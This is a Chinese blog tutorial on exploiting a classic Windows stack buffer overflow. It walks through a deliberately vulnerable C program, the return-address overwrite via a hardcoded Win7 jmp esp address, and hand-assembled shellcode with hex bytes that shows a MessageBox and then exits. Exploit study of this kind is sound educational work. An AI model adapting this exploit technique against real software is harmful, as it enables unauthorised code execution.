栈溢出笔记(1)

实践是检验真理的唯一标准

栈溢出的原理非常简单,但是实际操作起来确实问题多多。

- 准备工具

  • WinHex
  • vc++6.0
  • 一双勤奋的手和善于思考的大脑
#include <stdio.h>
#include <windows.h>
const char * FileName = "reg.txt"; 
const char * trueCode = "1245";
#define Msg(STR)( MessageBoxA(NULL,STR,NULL,MB_OK))
int _stdcall  RegGo()
{
    char FileBuf[8];
    char cNow;
    int nIndex = 0;
    FILE *fp;
    memset(FileBuf,0,sizeof(FileBuf));
    fp=fopen(FileName,"r");
    if(fp==NULL)
    {
        Msg("导入注册文件失败\n");
        ExitProcess(-1);
    }
    fscanf(fp,"%s",FileBuf);
    if(!strcmp(trueCode,FileBuf))
    {
        Msg("你的注册文件输入正确! 恭喜");
        return 0;
    }
    Msg("你的注册文件好像有些问题!");
    return 0;
}

int _stdcall WinMain(
    HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow
)
{
    RegGo();
    MessageBoxA(NULL,"Hello world!\n",NULL,MB_OK);
}

编译:vc++6.0 Win32 Release
选项:C/C++ 优化禁用
这是一段存在溢出漏洞的程序。存在漏洞的函数时RegGo()
char FileBuf[8]; 存放验证文件数据的缓冲区只有8字节,实际上只能够储蓄7个字符 + 一个0结尾。
fscanf(fp,”%s”,FileBuf); 读入文件的数据,格式为%s。也就是说调用这个函数,它会从文件中读取一串以0结尾的字符串,然后放入FileBuf。
这里没有做长度限制,所以如果文件的长度超过7个字节就会造成溢出。又因为FileBuf是第一个变量,所以FileBuf[8] 就是上层函数ebp的所在处(注意这里的FileBuf是1字节大小)
所以文件的第9~12 字节就会覆盖上层函数框架ebp的值。
第13~16字节就会覆盖返回地址。
所以通过对reg.txt 文件的构造就可以实现漏洞利用。
出错啦

感谢前辈们的方法,通过把返回地址覆盖为 jmp esp的地址来“导航”我们ShellCode。

这里给出一个在win7上比较通用的jmp esp地址。

0x7ffa4512 jmp esp

我们的文件构造为 4141414141414141 FFFFFFFF 1245FA7F
载入程序。。。。。。
好的,先用OD在这里下一个硬件执行断点吧,到了关键时刻我喜欢单步。
jmp esp
再继续往下走就是RegGo的栈区域以上的地方了,这里基本上都是数值,而不是代码,所以你根本看不懂这些乱七八糟的汇编代码是干啥的。
我们接着来编写ShellCode。
ShellCode的功能分析:
1、弹出一个MessageBoxA -> Hello
2、使程序正常退出。

首先在ShellCode的入口处程序要做的第一件事情就是构造Hello。 因为在ShellCode不能出现 0 字节,所以要通过寄存器的运算来间接构造,如xor ebx,ebx
0x6F6C6C65 为 olle,这是因为push的操作码的长度是4字节esp-4
还有一个h
通过esp-1 并mov实现。

0012FEFC    33DB            xor ebx,ebx
0012FEFE    53              push ebx
0012FEFF    68 656C6C6F     push 0x6F6C6C65
0012FF04    4C              dec esp
0012FF05    C60424 68       mov byte ptr ss:[esp],0x68

此时此刻,esp的值就是hello字符串的地址。
OD alt+g 然后 输入MessageBoxA 查询到该函数的地址为 MessageBoxA 0x7740ea11

ShellCode中根据MessageBoxA的参数分别把数据压入栈中。

0012FF09    8BC4            mov eax,esp
0012FF0B    53              push ebx
0012FF0C    53              push ebx
0012FF0D    50              push eax
0012FF0E    53              push ebx
0012FF0F    B8 11EA4077     mov eax,user32.MessageBoxA
0012FF14    FFD0            call eax

安全退出需要调用ExitProcess(0x75FA427E)

0012FF16    B8 7E42FA75     mov eax,KernelBa.ExitProcess
0012FF1B    53              push ebx
0012FF1C    FFD0            call eax

完整的ShellCode代码:

0012FEFC    33DB            xor ebx,ebx
0012FEFE    53              push ebx
0012FEFF    68 656C6C6F     push 0x6F6C6C65
0012FF04    4C              dec esp
0012FF05    C60424 68       mov byte ptr ss:[esp],0x68
0012FF09    8BC4            mov eax,esp
0012FF0B    53              push ebx
0012FF0C    53              push ebx
0012FF0D    50              push eax
0012FF0E    53              push ebx
0012FF0F    B8 11EA4077     mov eax,user32.MessageBoxA
0012FF14    FFD0            call eax
0012FF16    B8 7E42FA75     mov eax,KernelBa.ExitProcess
0012FF1B    53              push ebx
0012FF1C    FFD0            call eax

通过OD的二进制复制功能把这段ShellCode的二进制代码复制出来。

33 DB 53 68 65 6C 6C 6F 4C C6 04 24 68 8B C4 53 53 50 53 B8 11 EA 40 77 FF D0 B8 7E 42 FA 75 53
FF D0

很好,很有成就感!

接着打开WinHex继续构造我们的reg.txt
将这段ShellCode接在文件偏移为0x10的地方,也就是jmp esp地址的后面。

完整reg.txt:
4141414141414141 FFFFFFFF 1245FA7F 33DB5368656C6C6F4CC60424688BC453535053B811EA4077FFD0B87E42FA7553FFD0

以上就是我今晚实践的全部结果了。ShellCode的写得非常随意,我还需要好好的学习一下大神们的写法。

用到的硬编码 win7:
jmp esp 0x7ffa4512
MessageBoxA 0x7740ea11
ExitProcess 0x75FA427E

stdcall 调用方式有参数情况溢出利用实验:
修改源代码:RegGo增加一个参数:int _stdcall RegGo(const char *pas1)

00401053 |> \8D55 F8 lea edx,[local.2]
在这里下断得到FileBuf的基址。
然后把reg.txt的内容改为8个A,用od跟踪到retn指令。
retn指令:
retn指令带参数,设参数为x。
pop eip add esp,x可以平衡堆栈。
RegGo有一个参数,所以编译器编译后用的是retn 0x4
所以我们的ShellCode要在定位代码后面留一个空位,这个空位会覆盖参数。

堆栈图:
0012FEE8 41414141 AAAA
0012FEEC 41414141 AAAA
0012FEF0 0012FE00 .?.
0012FEF4 004010B8 ?@. 返回到 TestBug.004010B8 来自 TestBug.00401000
0012FEF8 00408040 @€@. ASCII “1245” 这个是参数哦
0012FEFC /0012FF88 ?.

retn指令执行后esp的值为:0012FEFC
所以我们构造ShellCode如下:
41414141 41414141 FFFFFFFF 【jmp esp地址】 FFFFFFFF 【ShellCode】

总结:在漏洞分析过程最重要的就是仔细调试,分析出函数的调用方式参数等。
附件整理:
链接:http://pan.baidu.com/s/1hqer5NQ 密码:llwn

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值